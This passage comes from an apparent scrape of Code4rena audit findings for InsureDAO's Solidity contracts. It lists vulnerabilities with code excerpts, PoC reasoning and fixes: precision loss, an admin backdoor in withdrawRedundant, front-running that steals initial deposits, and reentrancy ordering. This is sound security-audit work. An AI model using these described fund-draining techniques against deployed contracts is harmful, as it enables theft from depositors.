``` "}, {"title": "[WP-H27] `IndexTemplate.sol#compensate()` will most certainly fail", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/269", "labels": ["bug", "3 (High Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details ## Root Cause Precision loss while converting between `the amount of shares` and `the amount of underlying tokens` back and forth is not handled properly. --- https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/IndexTemplate.sol#L438-L447 ```solidity uint256 _shortage; if (totalLiquidity() < _amount) { //Insolvency case _shortage = _amount - _value; uint256 _cds = ICDSTemplate(registry.getCDS(address(this))) .compensate(_shortage); _compensated = _value + _cds; } vault.offsetDebt(_compensated, msg.sender); ``` In the current implementation, when someone tries to resume the market after a pending period ends by calling `PoolTemplate.sol#resume()`, `IndexTemplate.sol#compensate()` will be called internally to make a payout. If the index pool is unable to cover the compensation, the CDS pool will then be used to cover the shortage. However, while `CDSTemplate.sol#compensate()` takes a parameter for the amount of underlying tokens, it uses `vault.transferValue()` to transfer corresponding `_attributions` (shares) instead of underlying tokens. Due to precision loss, the `_attributions` transferred in the terms of underlying tokens will most certainly be less than the shortage. At L444, the contract believes that it's been compensated for `_value + _cds`, which is lower than the actual value, due to precision loss. At L446, when it calls `vault.offsetDebt(_compensated, msg.sender)`, the tx will revert at `require(underlyingValue(msg.sender) >= _amount)`. As a result, `resume()` can not be done, and the debt can't be repaid. ### PoC Given: - vault.underlyingValue = 10,000 - vault.valueAll = 30,000 - totalAttributions = 2,000,000 - _amount = 1,010,000 0. _shortage = _amount - vault.underlyingValue = 1,000,000 1. _attributions = (_amount * totalAttributions) / valueAll = 67,333,333 2. actualValueTransfered = (valueAll * _attributions) / totalAttributions = 1009999 **Expected results**: actualValueTransfered = _shortage; **Actual results**: actualValueTransfered < _shortage. ## Impact The precision loss isn't just happening on special numbers, but will most certainly always revert the txs. This will malfunction the contract as the index pool can not `compensate()`, therefore the pool can not `resume()`. Causing the funds of the LPs of the pool and the index pool to be frozen, and other stakeholders of the same vault will suffer fund loss from an unfair share of the funds compensated before. ## Recommendation Change to: https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/IndexTemplate.sol#L439-L446 ```solidity if (totalLiquidity() < _amount) { //Insolvency case _shortage = _amount - _value; uint256 _cds = ICDSTemplate(registry.getCDS(address(this))) .compensate(_shortage); _compensated = vault.underlyingValue(address(this)); } vault.offsetDebt(_compensated, msg.sender); ``` "}, {"title": "[WP-L26] `Vault#setController()` Lack of validation for the amount of migrated funds", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/268", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L485-L496 ```solidity function setController(address _controller) public override onlyOwner { require(_controller != address(0), \"ERROR_ZERO_ADDRESS\"); if (address(controller) != address(0)) { controller.migrate(address(_controller)); controller = IController(_controller); } else { controller = IController(_controller); } emit ControllerSet(_controller); } ``` `controller.migrate()` is a critical operation, we recommend adding validation for the amount of migrated funds. ### Recommendation Can be changed to: ```solidity function setController(address _controller) public override onlyOwner { require(_controller != address(0), \"ERROR_ZERO_ADDRESS\"); if (address(controller) != address(0)) { uint256 beforeUnderlying = controller.valueAll(); controller.migrate(address(_controller)); require(IController(_controller).valueAll() >= beforeUnderlying, \"...\"); controller = IController(_controller); } else { controller = IController(_controller); } emit ControllerSet(_controller); } ``` "}, {"title": "[WP-H24] Wrong design/implementation of permission control allows malicious/compromised Registry or Factory admin to steal funds from users' wallet balances", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/266", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "[WP-H24] Wrong design/implementation of permission control allows malicious/compromised Registry or Factory admin to steal funds from users' wallet balances"}, {"title": "[WP-G23] Avoiding unnecessary storage read can save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/265", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Ownership.sol#L17-L20 ```solidity constructor() { _owner = msg.sender; emit AcceptNewOwnership(_owner); } ``` At L19, the parameter of `AcceptNewOwnership` can use `msg.sender` directly to avoid unnecessary storage read of `_owner` to save some gas. https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Ownership.sol#L65-L71 ```solidity function acceptTransferOwnership() external override onlyFutureOwner { /*** *@notice Accept a transfer of ownership */ _owner = _futureOwner; emit AcceptNewOwnership(_owner); } ``` At L69, `_futureOwner` can use `msg.sender` directly to avoid unnecessary storage read of `_futureOwner` to save some gas. As `onlyFutureOwner()` ensures that `require(_futureOwner == msg.sender, \"...\");`. "}, {"title": "[WP-G21] Cache external call results can save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/264", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details Every call to an external contract costs a decent amount of gas. For optimization of gas usage, external call results should be cached if they are being used for more than one time. For example: https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L153-L158 ```solidity require( attributions[msg.sender] > 0 && underlyingValue(msg.sender) >= _amount, \"ERROR_WITHDRAW-VALUE_BADCONDITOONS\" ); _attributions = (totalAttributions * _amount) / valueAll(); ``` In `Vault#withdrawValue()`, `controller.valueAll()` is called twice: 1. L155 `underlyingValue(msg.sender)` -> `valueAll()` -> `controller.valueAll()`; 1. L158 `valueAll()` -> `controller.valueAll()`. https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L400-L411 ```solidity function underlyingValue(address _target) public view override returns (uint256) { if (attributions[_target] > 0) { return (valueAll() * attributions[_target]) / totalAttributions; } else { return 0; } } ``` https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L417-L423 ```solidity function valueAll() public view returns (uint256) { if (address(controller) != address(0)) { return balance + controller.valueAll(); } else { return balance; } } ``` "}, {"title": "the first depositor to a pool can drain all users", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/263", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "the first depositor to a pool can drain all users"}, {"title": "PoolTemplate.availableBalance calls totalLiquidity twice", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/262", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle hyh # Vulnerability details ## Impact Gas is overspent on the function call ## Proof of Concept availableBalance calls totalLiquidity() twice: https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L835 ## Recommended Mitigation Steps Save the call result to memory and use it "}, {"title": "Keeper, not controller: Vault.setKeeper and utilize descriptions are incorrect", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/259", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle hyh # Vulnerability details ## Impact `setKeeper` / `utilize` descriptions state that it is controller who is set / can run utilize, while keeper and controller are two separate roles, which don't have to coincide. I.e. the descriptions now mix up the roles and are confusing this way. ## Proof of Concept setKeeper: https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Vault.sol#L499 utilize: https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Vault.sol#L339 ## Recommended Mitigation Steps Update the descriptions to relate to the `keeper` role. "}, {"title": "Struct layout", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/253", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Jujic # Vulnerability details ## Impact Insurance struct in `PoolTemplate .sol` can be optimized to reduce 2 storage slot ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/PoolTemplate.sol#L127-L128 ``` struct Insurance { uint256 id; //each insuance has their own id uint256 startTime; //timestamp of starttime uint256 endTime; //timestamp of endtime uint256 amount; //insured amount bytes32 target; //target id in bytes32 address insured; //the address holds the right to get insured bool status; //true if insurance is not expired or redeemed } ``` `startTime` and `endTime `store block numbers, and 2^48 is being enough for a very long time. ## Tools Used https://docs.soliditylang.org/en/v0.8.0/internals/layout_in_storage.html?highlight=Structs#layout-of-state-variables-in-storage ## Recommended Mitigation Steps The struct can be changed into: ``` struct Insurance { uint256 id; //each insuance has their own id uint48 startTime; //timestamp of starttime uint48 endTime; //timestamp of endtime address insured; //the address holds the right to get insured uint256 amount; //insured amount bytes32 target; //target id in bytes32 bool status; //true if insurance is not expired or redeemed } ``` "}, {"title": "backdoor in `withdrawRedundant`", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/252", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle cmichel # Vulnerability details The `Vault.withdrawRedundant` has wrong logic that allows the admins to steal the underlying vault token. ```solidity function withdrawRedundant(address _token, address _to) external override onlyOwner { if ( _token == address(token) && balance < IERC20(token).balanceOf(address(this)) ) { uint256 _redundant = IERC20(token).balanceOf(address(this)) - balance; IERC20(token).safeTransfer(_to, _redundant); } else if (IERC20(_token).balanceOf(address(this)) > 0) { // @audit they can rug users. let's say balance == IERC20(token).balanceOf(address(this)) => first if false => transfers out everything IERC20(_token).safeTransfer( _to, IERC20(_token).balanceOf(address(this)) ); } } ``` #### POC - Vault deposits increase as `Vault.addValue` is called and the `balance` increases by `_amount` as well as the actual `IERC20(token).balanceOf(this)`. Note that `balance == IERC20(token).balanceOf(this)` - Admins call `vault.withdrawRedundant(vault.token(), attacker)` which goes into the `else if` branch due to the balance inequality condition being `false`. It will transfer out all `vault.token()` amounts to the attacker. ## Impact There's a backdoor in the `withdrawRedundant` that allows admins to steal all user deposits. ## Recommended Mitigation Steps I think the devs wanted this logic from the code instead: ```solidity function withdrawRedundant(address _token, address _to) external override onlyOwner { if ( _token == address(token) ) { if (balance < IERC20(token).balanceOf(address(this))) { uint256 _redundant = IERC20(token).balanceOf(address(this)) - balance; IERC20(token).safeTransfer(_to, _redundant); } } else if (IERC20(_token).balanceOf(address(this)) > 0) { IERC20(_token).safeTransfer( _to, IERC20(_token).balanceOf(address(this)) ); } } ``` "}, {"title": "Initial pool deposit can be stolen", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/250", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle cmichel # Vulnerability details Note that the `PoolTemplate.initialize` function, called when creating a market with `Factory.createMarket`, calls a vault function to transfer an initial deposit amount (`conditions[1]`) _from_ the initial depositor (`_references[4]`): ```solidity // PoolTemplate function initialize( string calldata _metaData, uint256[] calldata _conditions, address[] calldata _references ) external override { // ... if (_conditions[1] > 0) { // @audit vault calls asset.transferFrom(_references[4], vault, _conditions[1]) _depositFrom(_conditions[1], _references[4]); } } function _depositFrom(uint256 _amount, address _from) internal returns (uint256 _mintAmount) { require( marketStatus == MarketStatus.Trading && paused == false, \"ERROR: DEPOSIT_DISABLED\" ); require(_amount > 0, \"ERROR: DEPOSIT_ZERO\"); _mintAmount = worth(_amount); // @audit vault calls asset.transferFrom(_from, vault, _amount) vault.addValue(_amount, _from, address(this)); emit Deposit(_from, _amount, _mintAmount); //mint iToken _mint(_from, _mintAmount); } ``` The initial depositor needs to first approve the vault contract for the `transferFrom` to succeed. An attacker can then frontrun the `Factory.createMarket` transaction with their own market creation (it does not have access restrictions) and create a market _with different parameters_ but still passing in `_conditions[1]=amount` and `_references[4]=victim`. A market with parameters that the initial depositor did not want (different underlying, old whitelisted registry/parameter contract, etc.) can be created with their tokens and these tokens are essentially lost. ## Recommended Mitigation Steps Can the initial depositor be set to `Factory.createMarket`'s `msg.sender`, instead of being able to pick a whitelisted one as `_references[4]`? "}, {"title": "Premium payments can be timed", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/249", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "Premium payments can be timed"}, {"title": "Lower slack can be higher than upper slack", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/248", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed", "sponsor disputed"], "target": "2022-01-insure-findings", "body": "# Handle cmichel # Vulnerability details The `Parameters.setLowerSlack/setUpperSlack` functions do not check that the new value does still satisfy the `_lowerSlack <= _upperSlack` condition. ## Recommended Mitigation Steps Check that `_lowerSlack <= _upperSlack` is still satisfied in these functions. "}, {"title": "Future owner is not cleared", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/247", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle cmichel # Vulnerability details The `Ownership.acceptTransferOwnership` function does not reset `_futureOwner` to zero. ## Impact The future owner can repeatedly accept the governance, emitting an `AcceptNewOwnership` event each time, bloating listeners for this event with unnecessary data. ## Recommended Mitigation Steps Reset `_futureOwner` to zero in `acceptTransferOwnership`. "}, {"title": "Can create market without some conditions", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/246", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "Can create market without some conditions"}, {"title": "Typo for withdawable in multiple places in Parameters.sol ", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/244", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle hubble # Vulnerability details Feel free to lower the severity of the issue to Non-critical. ## Impact Correctness of variable name ## Proof of Concept File : Parameters.sol line 39 : mapping(address => uint256) private _withdawable; line 153 : _withdawable[_address] = _target; line 349-352 : if (_withdawable[_target] == 0) { return _withdawable[address(0)]; } else { return _withdawable[_target]; ## Tools Used Manual review ## Recommended Mitigation Steps Change typo to _withdrawable "}, {"title": "Input validation not done in few important functions in Parameters.sol", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/243", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle hubble # Vulnerability details ## Impact Input validation required for few important parameters as mentioned in the below functions. ## Proof of Concept File : Parameters.sol line 120 : function setUpperSlack(address _address, uint256 _target) Need to check that the _target value should be less than or equal to 100% (1000) line 134 : function setLowerSlack(address _address, uint256 _target) Need to check that the _target value should be less than or equal to corresponding UpperSlack Value line 177 : function setFeeRate(address _address, uint256 _target) Need to check that the _target value should be less than or equal to 1e6 (1000000) line 191 : function setMaxList(address _address, uint256 _target) Need to check that the _target value should be greater than 1 ## Tools Used Manual review ## Recommended Mitigation Steps Add require statements with proper value and comments for the respective input fields as given above "}, {"title": "Inconsistency in pragma solidity version definition in InsureDAOERC20.sol", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/242", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle hubble # Vulnerability details ## Impact Inconsistency in pragma solidity versions in different solidity files. ## Proof of Concept File : InsureDAOERC20.sol pragma solidity ^0.8.0; All other solidity files in the project pragma solidity 0.8.7; ## Tools Used Manual review ## Recommended Mitigation Steps Set the version to 0.8.7 in the InsureDAOERC20.sol file "}, {"title": "Constructor not used", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/240", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Jujic # Vulnerability details ## Impact The constructor is empty. You should remove constructor to save some gas. ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/InsureDAOERC20.sol#L21 ``` constructor() {} ``` ## Tools Used ## Recommended Mitigation Steps Remove unused constructor "}, {"title": "[WP-G19] Changing bool to uint256 can save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/238", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "[WP-G19] Changing bool to uint256 can save gas"}, {"title": "[WP-G18] Avoiding repeated `marketStatus` checks can save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/237", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details Check `marketStatus` before for loops can save gas from unnecessary repeated checks. https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/PoolTemplate.sol#L342-L365 ```solidity function unlockBatch(uint256[] calldata _ids) external { for (uint256 i = 0; i < _ids.length; i++) { unlock(_ids[i]); } } function unlock(uint256 _id) public { require( insurances[_id].status == true && marketStatus == MarketStatus.Trading && insurances[_id].endTime + parameters.getGrace(msg.sender) < block.timestamp, \"ERROR: UNLOCK_BAD_COINDITIONS\" ); insurances[_id].status == false; lockedAmount = lockedAmount - insurances[_id].amount; emit Unlocked(_id, insurances[_id].amount); } ``` ### Recomandation Change to: ```solidity function unlockBatch(uint256[] calldata _ids) external { require(marketStatus == MarketStatus.Trading, \"ERROR: UNLOCK_BAD_COINDITIONS\") for (uint256 i = 0; i < _ids.length; i++) { _unlock(_ids[i]); } } function unlock(uint256 _id) external { require(marketStatus == MarketStatus.Trading, \"ERROR: UNLOCK_BAD_COINDITIONS\"); _unlock(_id); } function _unlock(uint256 _id) internal { require( insurances[_id].status == true && insurances[_id].endTime + parameters.getGrace(msg.sender) < block.timestamp, \"ERROR: UNLOCK_BAD_COINDITIONS\" ); insurances[_id].status == false; lockedAmount = lockedAmount - insurances[_id].amount; emit Unlocked(_id, insurances[_id].amount); } ``` "}, {"title": "[WP-M17] `Vault.sol` Tokens with fee on transfer are not supported", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/236", "labels": ["bug", "2 (Med Risk)"], "target": "2022-01-insure-findings", "body": "[WP-M17] `Vault.sol` Tokens with fee on transfer are not supported"}, {"title": "[WP-G14] `AuctionBurnReserveSkew.sol#deposit()` Implementation can be simpler and save some gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/233", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/CDSTemplate.sol#L260-L270 ```solidity if (_available >= _amount) { _compensated = _amount; _attributionLoss = vault.transferValue(_amount, msg.sender); emit Compensated(msg.sender, _amount); } else { //when CDS cannot afford, pay as much as possible _compensated = _available; _attributionLoss = vault.transferValue(_available, msg.sender); emit Compensated(msg.sender, _available); } ``` ### Recommendation Change to: ```solidity _compensated = _available >= _amount? _amount: _available; _attributionLoss = vault.transferValue(_compensated, msg.sender); emit Compensated(msg.sender, _compensated); ``` - Duplicated codes removed; - Shorter and simpler code. "}, {"title": "[WP-G12] Cache function call results in the stack can save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/231", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details Cache and reusing the function call results, instead of calling it again, can save gas from unnecessary code execution. https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L163-L173 ```solidity if (available() < _amount) { //when USDC in this contract isn't enough uint256 _shortage = _amount - available(); _unutilize(_shortage); assert(available() >= _amount); } balance -= _amount; IERC20(token).safeTransfer(_to, _amount); ``` ### Recommendation Change to: ```solidity uint256 availableAmount = available() if ( availableAmount < _amount) { //when USDC in this contract isn't enough uint256 _shortage = _amount - available(); _unutilize(_shortage); assert(availableAmount >= _amount); } balance -= _amount; IERC20(token).safeTransfer(_to, _amount); ``` Other examples include: https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/CDSTemplate.sol#L295-L304 ```solidity function rate() external view returns (uint256) { if (totalSupply() > 0) { return (vault.attributionValue(crowdPool) * MAGIC_SCALE_1E6) / totalSupply(); } else { return 0; } } ``` `totalSupply()` https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L309-L312 ```solidity if (available() < _retVal) { uint256 _shortage = _retVal - available(); _unutilize(_shortage); } ``` `available()` "}, {"title": "[WP-G11] Check of `_amount > 0` can be done earlier to save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/230", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details When there are multiple checks, adjusting the sequence to allow the tx to fail earlier can save some gas. Checks using less gas should be executed earlier than those with higher gas costs, to avoid unnecessary storage read, arithmetic operations, etc when it reverts. For example: https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/CDSTemplate.sol#L238-L256 ```solidity require(paused == false, \"ERROR: PAUSED\"); require( request.timestamp + parameters.getLockup(msg.sender) < block.timestamp, \"ERROR: WITHDRAWAL_QUEUE\" ); require( request.timestamp + parameters.getLockup(msg.sender) + parameters.getWithdrawable(msg.sender) > block.timestamp, \"ERROR: WITHDRAWAL_NO_ACTIVE_REQUEST\" ); require( request.amount >= _amount, \"ERROR: WITHDRAWAL_EXCEEDED_REQUEST\" ); require(_amount > 0, \"ERROR: WITHDRAWAL_ZERO\"); ``` The check of `_amount > 0` can be done earlier to avoid reading from storage when `_amount = 0`. ## Recommendation Change to: ```solidity require(paused == false, \"ERROR: PAUSED\"); require(_amount > 0, \"ERROR: WITHDRAWAL_ZERO\"); require( request.amount >= _amount, \"ERROR: WITHDRAWAL_EXCEEDED_REQUEST\" ); require( request.timestamp + parameters.getLockup(msg.sender) < block.timestamp, \"ERROR: WITHDRAWAL_QUEUE\" ); require( request.timestamp + parameters.getLockup(msg.sender) + parameters.getWithdrawable(msg.sender) > block.timestamp, \"ERROR: WITHDRAWAL_NO_ACTIVE_REQUEST\" ); ``` Other examples include: https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/CDSTemplate.sol#L189-L191 ```solidity uint256 _balance = balanceOf(msg.sender); require(_balance >= _amount, \"ERROR: REQUEST_EXCEED_BALANCE\"); require(_amount > 0, \"ERROR: REQUEST_ZERO\"); ``` https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/IndexTemplate.sol#L217-L236 ```solidity require(locked == false, \"ERROR: WITHDRAWAL_PENDING\"); require( _requestTime + _lockup < block.timestamp, \"ERROR: WITHDRAWAL_QUEUE\" ); require( _requestTime + _lockup + parameters.getWithdrawable(msg.sender) > block.timestamp, \"ERROR: WITHDRAWAL_NO_ACTIVE_REQUEST\" ); require( withdrawalReq[msg.sender].amount >= _amount, \"ERROR: WITHDRAWAL_EXCEEDED_REQUEST\" ); require(_amount > 0, \"ERROR: WITHDRAWAL_ZERO\"); require( _retVal <= withdrawable(), \"ERROR: WITHDRAW_INSUFFICIENT_LIQUIDITY\" ); ``` "}, {"title": "Improper Upper Bound Definition on the Fee", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/229", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor acknowledged", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "Improper Upper Bound Definition on the Fee"}, {"title": "System Debt Is Not Handled When Insurance Pools Become Insolvent", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/228", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "System Debt Is Not Handled When Insurance Pools Become Insolvent"}, {"title": "Implement check effect interaction to align with best practices", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/227", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle defsec # Vulnerability details ## Impact On the InsureDAOERC20, transferFrom function is vulnerable on the re-entrancy. ## Proof of Concept 1. Navigate to the following contract. Approve function is written after transfer call. It is not possible to exploit on the current environment but that can be possible on the EVM. ``` function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\" ); _approve(sender, _msgSender(), currentAllowance - amount); return true; } ``` ## Tools Used Code Review ## Recommended Mitigation Steps Follow check effect interaction pattern. Consider to use openzeppelin erc20 contract. The sample transferFrom function can be seen from below. ``` function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { uint256 currentAllowance = _allowances[sender][_msgSender()]; if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } } _transfer(sender, recipient, amount); return true; } ``` https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol#L161 "}, {"title": "Allowance checks not correctly implemented", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/226", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "Allowance checks not correctly implemented"}, {"title": "Malicious Market Creators Can Steal Tokens From Unsuspecting Approved Reference Accounts", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/224", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The current method of market creation involves calling `Factory.createMarket()` with a list of approved `_conditions` and `_references` accounts. If a registered template address has `templates[address(_template)].isOpen == true`, then any user is able to call `createMarket()` using this template. If the template points to `PoolTemplate.sol`, then a malicious market creator can abuse `PoolTemplate.initialize()` as it makes a vault deposit from an account that they control. The vulnerable internal function, `_depositFrom()`, makes a vault deposit from the `_references[4]` address (arbitrarily set to an approved reference address upon market creation). Hence, if approved `_references` accounts have set an unlimited approval amount for `Vault.sol` before deploying their market, a malicious user can frontrun market creation and cause these tokens to be transferred to the incorrect market. This issue can cause honest market creators to have their tokens transferred to an incorrectly configured market, leading to unrecoverable funds. If their approval to `Vault.sol` was set to the unlimited amount, malicious users will also be able to force honest market creators to transfer more tokens than they would normally want to allow. ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Factory.sol#L158-L231 ``` function createMarket( IUniversalMarket _template, string memory _metaData, uint256[] memory _conditions, address[] memory _references ) public override returns (address) { //check eligibility require( templates[address(_template)].approval == true, \"ERROR: UNAUTHORIZED_TEMPLATE\" ); if (templates[address(_template)].isOpen == false) { require( ownership.owner() == msg.sender, \"ERROR: UNAUTHORIZED_SENDER\" ); } if (_references.length > 0) { for (uint256 i = 0; i < _references.length; i++) { require( reflist[address(_template)][i][_references[i]] == true || reflist[address(_template)][i][address(0)] == true, \"ERROR: UNAUTHORIZED_REFERENCE\" ); } } if (_conditions.length > 0) { for (uint256 i = 0; i < _conditions.length; i++) { if (conditionlist[address(_template)][i] > 0) { _conditions[i] = conditionlist[address(_template)][i]; } } } if ( IRegistry(registry).confirmExistence( address(_template), _references[0] ) == false ) { IRegistry(registry).setExistence( address(_template), _references[0] ); } else { if (templates[address(_template)].allowDuplicate == false) { revert(\"ERROR: DUPLICATE_MARKET\"); } } //create market IUniversalMarket market = IUniversalMarket( _createClone(address(_template)) ); IRegistry(registry).supportMarket(address(market)); markets.push(address(market)); //initialize market.initialize(_metaData, _conditions, _references); emit MarketCreated( address(market), address(_template), _metaData, _conditions, _references ); return address(market); } ``` https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L178-L221 ``` function initialize( string calldata _metaData, uint256[] calldata _conditions, address[] calldata _references ) external override { require( initialized == false && bytes(_metaData).length > 0 && _references[0] != address(0) && _references[1] != address(0) && _references[2] != address(0) && _references[3] != address(0) && _references[4] != address(0) && _conditions[0] <= _conditions[1], \"ERROR: INITIALIZATION_BAD_CONDITIONS\" ); initialized = true; string memory _name = string( abi.encodePacked( \"InsureDAO-\", IERC20Metadata(_references[1]).name(), \"-PoolInsurance\" ) ); string memory _symbol = string( abi.encodePacked(\"i-\", IERC20Metadata(_references[1]).symbol()) ); uint8 _decimals = IERC20Metadata(_references[0]).decimals(); initializeToken(_name, _symbol, _decimals); registry = IRegistry(_references[2]); parameters = IParameters(_references[3]); vault = IVault(parameters.getVault(_references[1])); metadata = _metaData; marketStatus = MarketStatus.Trading; if (_conditions[1] > 0) { _depositFrom(_conditions[1], _references[4]); } } ``` ## Tools Used Manual code review. Discussions with kohshiba. ## Recommended Mitigation Steps After discussions with the sponsor, they have opted to parse a `_creator` address to `PoolTemplate.sol` which will act as the depositor and be set to `msg.sender` in 